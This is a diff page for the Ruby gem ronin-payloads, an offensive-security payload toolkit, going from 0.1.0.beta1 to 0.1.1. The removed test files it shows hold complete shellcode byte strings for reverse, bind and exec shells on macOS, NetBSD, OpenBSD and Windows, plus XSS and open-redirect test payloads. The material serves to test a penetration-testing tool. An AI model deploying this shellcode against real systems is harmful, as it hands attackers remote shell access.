ronin-payloads 0.1.0.beta1 → 0.1.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (248) hide show
  1. checksums.yaml +4 -4
  2. data/.github/workflows/ruby.yml +16 -1
  3. data/.rubocop.yml +37 -0
  4. data/.yardopts +1 -1
  5. data/ChangeLog.md +13 -1
  6. data/Gemfile +5 -2
  7. data/README.md +4 -3
  8. data/Rakefile +3 -1
  9. data/bin/ronin-payloads +7 -8
  10. data/examples/bin_sh.rb +4 -0
  11. data/gemspec.yml +8 -7
  12. data/lib/ronin/payloads/asm_payload.rb +2 -2
  13. data/lib/ronin/payloads/binary_payload.rb +1 -1
  14. data/lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb +1 -1
  15. data/lib/ronin/payloads/builtin/cmd/bash/reverse_shell.rb +1 -1
  16. data/lib/ronin/payloads/builtin/cmd/lua/reverse_shell.rb +1 -1
  17. data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb +1 -1
  18. data/lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb +1 -1
  19. data/lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb +1 -1
  20. data/lib/ronin/payloads/builtin/cmd/php/reverse_shell.rb +1 -1
  21. data/lib/ronin/payloads/builtin/cmd/powershell/reverse_shell.rb +1 -1
  22. data/lib/ronin/payloads/builtin/cmd/python/reverse_shell.rb +1 -1
  23. data/lib/ronin/payloads/builtin/cmd/ruby/reverse_shell.rb +1 -1
  24. data/lib/ronin/payloads/builtin/java/reverse_shell.rb +1 -1
  25. data/lib/ronin/payloads/builtin/php/cmd_exec.rb +5 -4
  26. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb +2 -2
  27. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb +2 -2
  28. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb +2 -2
  29. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb +2 -2
  30. data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb +2 -2
  31. data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb +2 -2
  32. data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb +2 -2
  33. data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb +2 -2
  34. data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb +2 -2
  35. data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb +2 -2
  36. data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb +2 -2
  37. data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb +3 -3
  38. data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb +3 -3
  39. data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb +2 -2
  40. data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb +2 -2
  41. data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb +3 -3
  42. data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb +2 -2
  43. data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb +2 -2
  44. data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb +2 -2
  45. data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb +2 -2
  46. data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb +2 -2
  47. data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb +2 -2
  48. data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb +2 -2
  49. data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb +2 -2
  50. data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb +3 -3
  51. data/lib/ronin/payloads/builtin/test/open_redirect.rb +4 -4
  52. data/lib/ronin/payloads/builtin/test/xss.rb +4 -4
  53. data/lib/ronin/payloads/c_payload.rb +2 -2
  54. data/lib/ronin/payloads/cli/command.rb +1 -1
  55. data/lib/ronin/payloads/cli/commands/build.rb +11 -13
  56. data/lib/ronin/payloads/cli/commands/encode.rb +17 -21
  57. data/lib/ronin/payloads/cli/commands/encoder.rb +1 -1
  58. data/lib/ronin/payloads/cli/commands/encoders.rb +2 -2
  59. data/lib/ronin/payloads/cli/commands/irb.rb +1 -1
  60. data/lib/ronin/payloads/cli/commands/launch.rb +3 -3
  61. data/lib/ronin/payloads/cli/commands/list.rb +1 -1
  62. data/lib/ronin/payloads/cli/commands/new.rb +4 -4
  63. data/lib/ronin/payloads/cli/commands/show.rb +3 -2
  64. data/lib/ronin/payloads/cli/encoder_methods.rb +2 -1
  65. data/lib/ronin/payloads/cli/format_option.rb +1 -1
  66. data/lib/ronin/payloads/cli/generator/payload_types.rb +4 -3
  67. data/lib/ronin/payloads/cli/payload_command.rb +1 -1
  68. data/lib/ronin/payloads/cli/payload_methods.rb +1 -1
  69. data/lib/ronin/payloads/cli/printing.rb +1 -1
  70. data/lib/ronin/payloads/cli/ruby_shell.rb +1 -1
  71. data/lib/ronin/payloads/cli.rb +6 -1
  72. data/lib/ronin/payloads/coldfusion_payload.rb +1 -1
  73. data/lib/ronin/payloads/command_payload.rb +1 -1
  74. data/lib/ronin/payloads/encoders/builtin/html/encode.rb +2 -1
  75. data/lib/ronin/payloads/encoders/builtin/js/encode.rb +2 -1
  76. data/lib/ronin/payloads/encoders/builtin/powershell/encode.rb +2 -1
  77. data/lib/ronin/payloads/encoders/builtin/shell/encode.rb +2 -1
  78. data/lib/ronin/payloads/encoders/builtin/sql/encode.rb +2 -1
  79. data/lib/ronin/payloads/encoders/builtin/xml/encode.rb +2 -1
  80. data/lib/ronin/payloads/encoders/encoder.rb +3 -2
  81. data/lib/ronin/payloads/encoders/exceptions.rb +2 -1
  82. data/lib/ronin/payloads/encoders/html_encoder.rb +2 -1
  83. data/lib/ronin/payloads/encoders/javascript_encoder.rb +2 -1
  84. data/lib/ronin/payloads/encoders/pipeline.rb +3 -2
  85. data/lib/ronin/payloads/encoders/powershell_encoder.rb +2 -1
  86. data/lib/ronin/payloads/encoders/registry.rb +5 -1
  87. data/lib/ronin/payloads/encoders/shell_encoder.rb +2 -1
  88. data/lib/ronin/payloads/encoders/sql_encoder.rb +2 -1
  89. data/lib/ronin/payloads/encoders/xml_encoder.rb +2 -1
  90. data/lib/ronin/payloads/encoders.rb +1 -1
  91. data/lib/ronin/payloads/exceptions.rb +2 -1
  92. data/lib/ronin/payloads/go_payload.rb +2 -2
  93. data/lib/ronin/payloads/html_payload.rb +1 -1
  94. data/lib/ronin/payloads/java_payload.rb +2 -2
  95. data/lib/ronin/payloads/javascript_payload.rb +1 -1
  96. data/lib/ronin/payloads/jsp_payload.rb +1 -1
  97. data/lib/ronin/payloads/metadata/arch.rb +2 -1
  98. data/lib/ronin/payloads/metadata/os.rb +2 -1
  99. data/lib/ronin/payloads/mixins/binary.rb +1 -1
  100. data/lib/ronin/payloads/mixins/bind_shell.rb +3 -3
  101. data/lib/ronin/payloads/mixins/build_dir.rb +1 -1
  102. data/lib/ronin/payloads/mixins/erb.rb +1 -1
  103. data/lib/ronin/payloads/mixins/network.rb +1 -1
  104. data/lib/ronin/payloads/mixins/post_ex.rb +1 -2
  105. data/lib/ronin/payloads/mixins/resolve_host.rb +1 -1
  106. data/lib/ronin/payloads/mixins/reverse_shell.rb +1 -2
  107. data/lib/ronin/payloads/mixins/tempfile.rb +1 -1
  108. data/lib/ronin/payloads/mixins/typescript.rb +2 -3
  109. data/lib/ronin/payloads/node_js_payload.rb +1 -1
  110. data/lib/ronin/payloads/payload.rb +8 -8
  111. data/lib/ronin/payloads/php_payload.rb +1 -1
  112. data/lib/ronin/payloads/powershell_payload.rb +1 -1
  113. data/lib/ronin/payloads/python_payload.rb +1 -1
  114. data/lib/ronin/payloads/registry.rb +4 -1
  115. data/lib/ronin/payloads/root.rb +1 -1
  116. data/lib/ronin/payloads/ruby_payload.rb +1 -1
  117. data/lib/ronin/payloads/rust_payload.rb +2 -2
  118. data/lib/ronin/payloads/shell_payload.rb +1 -1
  119. data/lib/ronin/payloads/shellcode/bind_shell_payload.rb +1 -1
  120. data/lib/ronin/payloads/shellcode/exec_shell_payload.rb +1 -1
  121. data/lib/ronin/payloads/shellcode/reverse_shell_payload.rb +1 -1
  122. data/lib/ronin/payloads/shellcode_payload.rb +9 -9
  123. data/lib/ronin/payloads/sql_payload.rb +1 -1
  124. data/lib/ronin/payloads/url_payload.rb +3 -3
  125. data/lib/ronin/payloads/version.rb +2 -2
  126. data/lib/ronin/payloads/xml_payload.rb +1 -1
  127. data/lib/ronin/payloads.rb +2 -1
  128. data/man/ronin-payloads-build.1 +1 -1
  129. data/man/ronin-payloads-build.1.md +1 -1
  130. data/man/ronin-payloads-encode.1 +1 -1
  131. data/man/ronin-payloads-encode.1.md +1 -1
  132. data/man/ronin-payloads-encoder.1 +1 -1
  133. data/man/ronin-payloads-encoder.1.md +1 -1
  134. data/man/ronin-payloads-encoders.1 +1 -1
  135. data/man/ronin-payloads-encoders.1.md +1 -1
  136. data/man/ronin-payloads-irb.1 +1 -1
  137. data/man/ronin-payloads-irb.1.md +1 -1
  138. data/man/ronin-payloads-launch.1 +1 -1
  139. data/man/ronin-payloads-launch.1.md +1 -1
  140. data/man/ronin-payloads-list.1 +1 -1
  141. data/man/ronin-payloads-list.1.md +1 -1
  142. data/man/ronin-payloads.1 +1 -1
  143. data/man/ronin-payloads.1.md +1 -1
  144. data/ronin-payloads.gemspec +5 -5
  145. metadata +17 -215
  146. data/spec/asm_payload_spec.rb +0 -114
  147. data/spec/binary_payload_spec.rb +0 -8
  148. data/spec/builtin/cmd/awk/reverse_shell_spec.rb +0 -38
  149. data/spec/builtin/cmd/bash/reverse_shell_spec.rb +0 -36
  150. data/spec/builtin/cmd/lua/reverse_shell_spec.rb +0 -38
  151. data/spec/builtin/cmd/node/reverse_shell_spec.rb +0 -36
  152. data/spec/builtin/cmd/openssl/reverse_shell_spec.rb +0 -38
  153. data/spec/builtin/cmd/perl/reverse_shell_spec.rb +0 -38
  154. data/spec/builtin/cmd/php/reverse_shell_spec.rb +0 -38
  155. data/spec/builtin/cmd/powershell/reverse_shell_spec.rb +0 -38
  156. data/spec/builtin/cmd/python/reverse_shell_spec.rb +0 -38
  157. data/spec/builtin/cmd/ruby/reverse_shell_spec.rb +0 -38
  158. data/spec/builtin/java/reverse_shell_spec.rb +0 -103
  159. data/spec/builtin/php/cmd_exec.rb +0 -52
  160. data/spec/builtin/shellcode/freebsd/x86/bind_shell_spec.rb +0 -58
  161. data/spec/builtin/shellcode/freebsd/x86/exec_shell_spec.rb +0 -46
  162. data/spec/builtin/shellcode/freebsd/x86/reverse_shell_spec.rb +0 -63
  163. data/spec/builtin/shellcode/freebsd/x86_64/exec_shell_spec.rb +0 -46
  164. data/spec/builtin/shellcode/linux/arm/bind_shell_spec.rb +0 -62
  165. data/spec/builtin/shellcode/linux/arm/exec_shell_spec.rb +0 -46
  166. data/spec/builtin/shellcode/linux/arm/reverse_shell_spec.rb +0 -58
  167. data/spec/builtin/shellcode/linux/mips/bind_shell_spec.rb +0 -60
  168. data/spec/builtin/shellcode/linux/mips/exec_shell_spec.rb +0 -46
  169. data/spec/builtin/shellcode/linux/mips/reverse_shell_spec.rb +0 -58
  170. data/spec/builtin/shellcode/linux/ppc/exec_shell_spec.rb +0 -46
  171. data/spec/builtin/shellcode/linux/ppc/reverse_shell_spec.rb +0 -87
  172. data/spec/builtin/shellcode/linux/x86/bind_shell_spec.rb +0 -60
  173. data/spec/builtin/shellcode/linux/x86/exec_shell_spec.rb +0 -46
  174. data/spec/builtin/shellcode/linux/x86/reverse_shell_spec.rb +0 -58
  175. data/spec/builtin/shellcode/linux/x86_64/bind_shell_spec.rb +0 -60
  176. data/spec/builtin/shellcode/linux/x86_64/exec_shell_spec.rb +0 -46
  177. data/spec/builtin/shellcode/linux/x86_64/reverse_shell_spec.rb +0 -58
  178. data/spec/builtin/shellcode/macos/x86_64/exec_shell_spec.rb +0 -46
  179. data/spec/builtin/shellcode/macos/x86_64/reverse_shell_spec.rb +0 -58
  180. data/spec/builtin/shellcode/netbsd/x86/exec_shell_spec.rb +0 -46
  181. data/spec/builtin/shellcode/netbsd/x86/reverse_shell_spec.rb +0 -63
  182. data/spec/builtin/shellcode/openbsd/x86/bind_shell_spec.rb +0 -58
  183. data/spec/builtin/shellcode/openbsd/x86/exec_shell_spec.rb +0 -46
  184. data/spec/builtin/shellcode/windows/x86_64/cmd_spec.rb +0 -54
  185. data/spec/builtin/test/open_redirect_spec.rb +0 -24
  186. data/spec/builtin/test/xss_spec.rb +0 -24
  187. data/spec/c_payload_spec.rb +0 -139
  188. data/spec/cli/commands/show_spec.rb +0 -21
  189. data/spec/cli/encoder_methods_spec.rb +0 -275
  190. data/spec/cli/format_option_spec.rb +0 -187
  191. data/spec/cli/payload_command_spec.rb +0 -68
  192. data/spec/cli/payload_methods_spec.rb +0 -208
  193. data/spec/cli/printing_spec.rb +0 -65
  194. data/spec/cli/ruby_shell_spec.rb +0 -14
  195. data/spec/coldfusion_payload_spec.rb +0 -8
  196. data/spec/command_payload_spec.rb +0 -8
  197. data/spec/encoders/builtin/html/encode_spec.rb +0 -17
  198. data/spec/encoders/builtin/js/encode_spec.rb +0 -17
  199. data/spec/encoders/builtin/powershell/encode_spec.rb +0 -17
  200. data/spec/encoders/builtin/shell/encode_spec.rb +0 -17
  201. data/spec/encoders/builtin/sql/encode_spec.rb +0 -17
  202. data/spec/encoders/builtin/xml/encode_spec.rb +0 -17
  203. data/spec/encoders/encoder_spec.rb +0 -62
  204. data/spec/encoders/html_encoder_spec.rb +0 -8
  205. data/spec/encoders/javascript_encoder_spec.rb +0 -8
  206. data/spec/encoders/pipeline_spec.rb +0 -153
  207. data/spec/encoders/powershell_encoder_spec.rb +0 -8
  208. data/spec/encoders/shell_encoder_spec.rb +0 -8
  209. data/spec/encoders/sql_encoder_spec.rb +0 -8
  210. data/spec/encoders/xml_encoder_spec.rb +0 -8
  211. data/spec/encoders_spec.rb +0 -25
  212. data/spec/go_payload_spec.rb +0 -56
  213. data/spec/helpers/encoders.rb +0 -9
  214. data/spec/helpers/payloads.rb +0 -9
  215. data/spec/helpers/scripts/payloads/simple.rb +0 -22
  216. data/spec/html_payload_spec.rb +0 -12
  217. data/spec/java_payload_spec.rb +0 -97
  218. data/spec/javascript_payload_spec.rb +0 -12
  219. data/spec/jsp_payload_spec.rb +0 -8
  220. data/spec/metadata/arch_spec.rb +0 -82
  221. data/spec/metadata/os_spec.rb +0 -164
  222. data/spec/mixins/binary_spec.rb +0 -129
  223. data/spec/mixins/bind_shell_spec.rb +0 -73
  224. data/spec/mixins/build_dir.rb +0 -64
  225. data/spec/mixins/erb_spec.rb +0 -19
  226. data/spec/mixins/network_spec.rb +0 -75
  227. data/spec/mixins/post_ex_spec.rb +0 -40
  228. data/spec/mixins/resolve_host_spec.rb +0 -322
  229. data/spec/mixins/reverse_shell_spec.rb +0 -103
  230. data/spec/mixins/tempfile_spec.rb +0 -97
  231. data/spec/mixins/typescript_spec.rb +0 -92
  232. data/spec/node_js_payload_spec.rb +0 -8
  233. data/spec/payload_spec.rb +0 -288
  234. data/spec/payloads_spec.rb +0 -29
  235. data/spec/php_payload_spec.rb +0 -8
  236. data/spec/powershell_payload_spec.rb +0 -16
  237. data/spec/python_payload_spec.rb +0 -8
  238. data/spec/ruby_payload_spec.rb +0 -8
  239. data/spec/rust_payload_spec.rb +0 -116
  240. data/spec/shell_payload_spec.rb +0 -16
  241. data/spec/shellcode/bind_shell_payload_spec.rb +0 -42
  242. data/spec/shellcode/exec_shell_payload_spec.rb +0 -8
  243. data/spec/shellcode/reverse_shell_payload_spec.rb +0 -136
  244. data/spec/shellcode_payload_spec.rb +0 -38
  245. data/spec/spec_helper.rb +0 -7
  246. data/spec/sql_payload_spec.rb +0 -12
  247. data/spec/url_payload_spec.rb +0 -72
  248. data/spec/xml_payload_spec.rb +0 -12
@@ -1,58 +0,0 @@
1
- require 'spec_helper'
2
- require 'ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell'
3
-
4
- describe Ronin::Payloads::Shellcode::MacOS::X86_64::ReverseShell do
5
- it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
6
- expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
7
- end
8
-
9
- describe ".id" do
10
- subject { described_class }
11
-
12
- it "must equal 'shellcode/macos/x86_64/reverse_shell'" do
13
- expect(subject.id).to eq('shellcode/macos/x86_64/reverse_shell')
14
- end
15
- end
16
-
17
- describe ".arch" do
18
- subject { described_class }
19
-
20
- it "must equal :x86_64" do
21
- expect(subject.arch).to be(:x86_64)
22
- end
23
- end
24
-
25
- describe ".os" do
26
- subject { described_class }
27
-
28
- it "must equal :macos" do
29
- expect(subject.os).to be(:macos)
30
- end
31
- end
32
-
33
- let(:host) { '127.0.0.1' }
34
- let(:port) { 1337 }
35
-
36
- subject do
37
- described_class.new(
38
- params: {
39
- host: host,
40
- port: port
41
- }
42
- )
43
- end
44
-
45
- describe "#build" do
46
- before { subject.build }
47
-
48
- it "must set #payload" do
49
- expect(subject.payload).to eq(
50
- "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x61\x4c\x89\xc0\x48\x31\xd2\x48\x89\xd6\x48\xff\xc6\x48\x89\xf7\x48\xff\xc7\x0f\x05\x49\x89\xc4\x49\xbd\x01\x01\x05\x39\x7f\x00\x00\x01\x41\xb1\xff\x4d\x29\xcd\x41\x55\x49\x89\xe5\x49\xff\xc0\x4c\x89\xc0\x4c\x89\xe7\x4c\x89\xee\x48\x83\xc2\x10\x0f\x05\x49\x83\xe8\x08\x48\x31\xf6\x4c\x89\xc0\x4c\x89\xe7\x0f\x05\x48\x83\xfe\x02\x48\xff\xc6\x76\xef\x49\x83\xe8\x1f\x4c\x89\xc0\x48\x31\xd2\x49\xbd\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xed\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05".b
51
- )
52
- end
53
-
54
- it "must ensure #payload is an ASCII 8bit string" do
55
- expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
56
- end
57
- end
58
- end
@@ -1,46 +0,0 @@
1
- require 'spec_helper'
2
- require 'ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell'
3
-
4
- describe Ronin::Payloads::Shellcode::NetBSD::X86::ExecShell do
5
- it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
6
- expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
7
- end
8
-
9
- describe ".id" do
10
- subject { described_class }
11
-
12
- it "must equal 'shellcode/netbsd/x86/exec_shell'" do
13
- expect(subject.id).to eq('shellcode/netbsd/x86/exec_shell')
14
- end
15
- end
16
-
17
- describe ".arch" do
18
- subject { described_class }
19
-
20
- it "must equal :x86" do
21
- expect(subject.arch).to be(:x86)
22
- end
23
- end
24
-
25
- describe ".os" do
26
- subject { described_class }
27
-
28
- it "must equal :netbsd" do
29
- expect(subject.os).to be(:netbsd)
30
- end
31
- end
32
-
33
- describe "#build" do
34
- before { subject.build }
35
-
36
- it "must set #payload" do
37
- expect(subject.payload).to eq(
38
- "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04".b
39
- )
40
- end
41
-
42
- it "must ensure #payload is an ASCII 8bit string" do
43
- expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
44
- end
45
- end
46
- end
@@ -1,63 +0,0 @@
1
- # encoding: US-ASCII
2
-
3
- require 'spec_helper'
4
- require 'ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell'
5
-
6
- describe Ronin::Payloads::Shellcode::NetBSD::X86::ReverseShell do
7
- it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
8
- expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
9
- end
10
-
11
- describe ".id" do
12
- subject { described_class }
13
-
14
- it "must equal 'shellcode/netbsd/x86/reverse_shell'" do
15
- expect(subject.id).to eq('shellcode/netbsd/x86/reverse_shell')
16
- end
17
- end
18
-
19
- describe ".arch" do
20
- subject { described_class }
21
-
22
- it "must equal :x86" do
23
- expect(subject.arch).to be(:x86)
24
- end
25
- end
26
-
27
- describe ".os" do
28
- subject { described_class }
29
-
30
- it "must equal :netbsd" do
31
- expect(subject.os).to be(:netbsd)
32
- end
33
- end
34
-
35
- let(:host) { '127.0.0.1' }
36
- let(:port) { 1337 }
37
-
38
- subject do
39
- described_class.new(
40
- params: {
41
- host: host,
42
- port: port
43
- }
44
- )
45
- end
46
-
47
- describe "#build" do
48
- before { subject.build }
49
-
50
- let(:negated_ipv4) { "\x80\xff\xff\xfe" }
51
- let(:negated_port) { "\xfa\xc6" }
52
-
53
- it "must set #payload" do
54
- expect(subject.payload).to eq(
55
- "\x31\xc0\x31\xc9\x50\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x89\xc3\x89\xe2\x49\x51\x51\x41\x68#{negated_ipv4}\x68\xff\xfd#{negated_port}\xb1\x10\x51\xf6\x12\x4a\xe2\xfb\xf6\x12\x52\x50\x50\xb0\x62\xcd\x80\xb1\x03\x49\x51\x41\x53\x50\xb0\x5a\xcd\x80\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x50\xb0\x3b\xcd\x80"
56
- )
57
- end
58
-
59
- it "must ensure #payload is an ASCII 8bit string" do
60
- expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
61
- end
62
- end
63
- end
@@ -1,58 +0,0 @@
1
- require 'spec_helper'
2
- require 'ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell'
3
-
4
- describe Ronin::Payloads::Shellcode::OpenBSD::X86::BindShell do
5
- it "must inherit from Ronin::Payloads::Shellcode::BindShellPayload" do
6
- expect(described_class).to be < Ronin::Payloads::Shellcode::BindShellPayload
7
- end
8
-
9
- describe ".id" do
10
- subject { described_class }
11
-
12
- it "must equal 'shellcode/openbsd/x86/bind_shell'" do
13
- expect(subject.id).to eq('shellcode/openbsd/x86/bind_shell')
14
- end
15
- end
16
-
17
- describe ".arch" do
18
- subject { described_class }
19
-
20
- it "must equal :x86" do
21
- expect(subject.arch).to be(:x86)
22
- end
23
- end
24
-
25
- describe ".os" do
26
- subject { described_class }
27
-
28
- it "must equal :openbsd" do
29
- expect(subject.os).to be(:openbsd)
30
- end
31
- end
32
-
33
- let(:host) { 'example.com' }
34
- let(:port) { 1337 }
35
-
36
- subject do
37
- described_class.new(
38
- params: {
39
- host: host,
40
- port: port
41
- }
42
- )
43
- end
44
-
45
- describe "#build" do
46
- before { subject.build }
47
-
48
- it "must set #payload" do
49
- expect(subject.payload).to eq(
50
- "\x31\xc9\x51\x41\x51\x41\x51\x51\x31\xc0\xb0\x61\xcd\x80\x89\x07\x31\xc9\x88\x4f\x04\xc6\x47\x05\x02\x89\x4f\x08\x66\xc7\x47\x06\x05\x39\x6a\x10\x8d\x47\x04\x50\x8b\x07\x50\x50\x31\xc0\xb0\x68\xcd\x80\x6a\x01\x8b\x07\x50\x50\x31\xc0\xb0\x6a\xcd\x80\x31\xc9\x51\x51\x8b\x07\x50\x50\x31\xc0\xb0\x1e\xcd\x80\x89\x07\x31\xc9\x51\x8b\x07\x50\x50\x31\xc0\xb0\x5a\xcd\x80\x41\x83\xf9\x03\x75\xef\xeb\x23\x5b\x89\x1f\x31\xc9\x88\x4b\x07\x89\x4f\x04\x51\x8d\x07\x50\x8b\x07\x50\x50\x31\xc0\xb0\x3b\xcd\x80\x31\xc9\x51\x51\x31\xc0\xb0\x01\xcd\x80\xe8\xd8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x90".b
51
- )
52
- end
53
-
54
- it "must ensure #payload is an ASCII 8bit string" do
55
- expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
56
- end
57
- end
58
- end
@@ -1,46 +0,0 @@
1
- require 'spec_helper'
2
- require 'ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell'
3
-
4
- describe Ronin::Payloads::Shellcode::OpenBSD::X86::ExecShell do
5
- it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
6
- expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
7
- end
8
-
9
- describe ".id" do
10
- subject { described_class }
11
-
12
- it "must equal 'shellcode/openbsd/x86/exec_shell'" do
13
- expect(subject.id).to eq('shellcode/openbsd/x86/exec_shell')
14
- end
15
- end
16
-
17
- describe ".arch" do
18
- subject { described_class }
19
-
20
- it "must equal :x86" do
21
- expect(subject.arch).to be(:x86)
22
- end
23
- end
24
-
25
- describe ".os" do
26
- subject { described_class }
27
-
28
- it "must equal :openbsd" do
29
- expect(subject.os).to be(:openbsd)
30
- end
31
- end
32
-
33
- describe "#build" do
34
- before { subject.build }
35
-
36
- it "must set #payload" do
37
- expect(subject.payload).to eq(
38
- "\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x54\x53\x53\x6a\x3b\x58\xcd\x80".b
39
- )
40
- end
41
-
42
- it "must ensure #payload is an ASCII 8bit string" do
43
- expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
44
- end
45
- end
46
- end
@@ -1,54 +0,0 @@
1
- require 'spec_helper'
2
- require 'ronin/payloads/builtin/shellcode/windows/x86_64/cmd'
3
-
4
- describe Ronin::Payloads::Shellcode::Windows::X86_64::CMD do
5
- it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
6
- expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
7
- end
8
-
9
- describe ".id" do
10
- subject { described_class }
11
-
12
- it "must equal 'shellcode/windows/x86_64/cmd'" do
13
- expect(subject.id).to eq('shellcode/windows/x86_64/cmd')
14
- end
15
- end
16
-
17
- describe ".arch" do
18
- subject { described_class }
19
-
20
- it "must equal :x86_64" do
21
- expect(subject.arch).to be(:x86_64)
22
- end
23
- end
24
-
25
- describe ".os" do
26
- subject { described_class }
27
-
28
- it "must equal :windows" do
29
- expect(subject.os).to be(:windows)
30
- end
31
- end
32
-
33
- describe ".os_version" do
34
- subject { described_class }
35
-
36
- it "must equal '7'" do
37
- expect(subject.os_version).to eq('7')
38
- end
39
- end
40
-
41
- describe "#build" do
42
- before { subject.build }
43
-
44
- it "must set #payload" do
45
- expect(subject.payload).to eq(
46
- "\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x06\x8B\x68\x08\xEB\x20\x5B\x53\x55\x5B\x81\xEB\x11\x11\x11\x11\x81\xC3\xDA\x3F\x1A\x11\xFF\xD3\x81\xC3\x11\x11\x11\x11\x81\xEB\x8C\xCC\x18\x11\xFF\xD3\xE8\xDB\xFF\xFF\xFF\x63\x6d\x64".b
47
- )
48
- end
49
-
50
- it "must ensure #payload is an ASCII 8bit string" do
51
- expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
52
- end
53
- end
54
- end
@@ -1,24 +0,0 @@
1
- require 'spec_helper'
2
- require 'ronin/payloads/builtin/test/open_redirect'
3
-
4
- describe Ronin::Payloads::Test::OpenRedirect do
5
- it "must inherit from Ronin::Payloads::URLPayload" do
6
- expect(described_class).to be < Ronin::Payloads::URLPayload
7
- end
8
-
9
- describe ".id" do
10
- subject { described_class }
11
-
12
- it "must equal 'test/open_redirect'" do
13
- expect(subject.id).to eq('test/open_redirect')
14
- end
15
- end
16
-
17
- describe "#build" do
18
- before { subject.build }
19
-
20
- it "must set #payload to 'https://google.com/'" do
21
- expect(subject.payload).to eq("https://google.com/")
22
- end
23
- end
24
- end
@@ -1,24 +0,0 @@
1
- require 'spec_helper'
2
- require 'ronin/payloads/builtin/test/xss'
3
-
4
- describe Ronin::Payloads::Test::XSS do
5
- it "must inherit from Ronin::Payloads::JavaScriptPayload" do
6
- expect(described_class).to be < Ronin::Payloads::JavaScriptPayload
7
- end
8
-
9
- describe ".id" do
10
- subject { described_class }
11
-
12
- it "must equal 'test/xss'" do
13
- expect(subject.id).to eq('test/xss')
14
- end
15
- end
16
-
17
- describe "#build" do
18
- before { subject.build }
19
-
20
- it "must set #payload to 'alert(1)'" do
21
- expect(subject.payload).to eq("alert(1)")
22
- end
23
- end
24
- end
@@ -1,139 +0,0 @@
1
- require 'spec_helper'
2
- require 'ronin/payloads/c_payload'
3
-
4
- describe Ronin::Payloads::CPayload do
5
- it "must inherit from Ronin::Payloads::BinaryPayload" do
6
- expect(described_class.superclass).to be(Ronin::Payloads::BinaryPayload)
7
- end
8
-
9
- describe ".cc" do
10
- subject { described_class }
11
-
12
- before do
13
- @cc = ENV['CC']
14
- ENV.delete('CC')
15
- end
16
-
17
- context "when ENV['CC'] is set" do
18
- let(:cc) { 'gcc' }
19
-
20
- before { ENV['CC'] = cc }
21
-
22
- it "must return ENV['CC']" do
23
- expect(subject.cc).to eq(cc)
24
- end
25
-
26
- after { ENV.delete('CC') }
27
- end
28
-
29
- context "when ENV['CC'] is not set" do
30
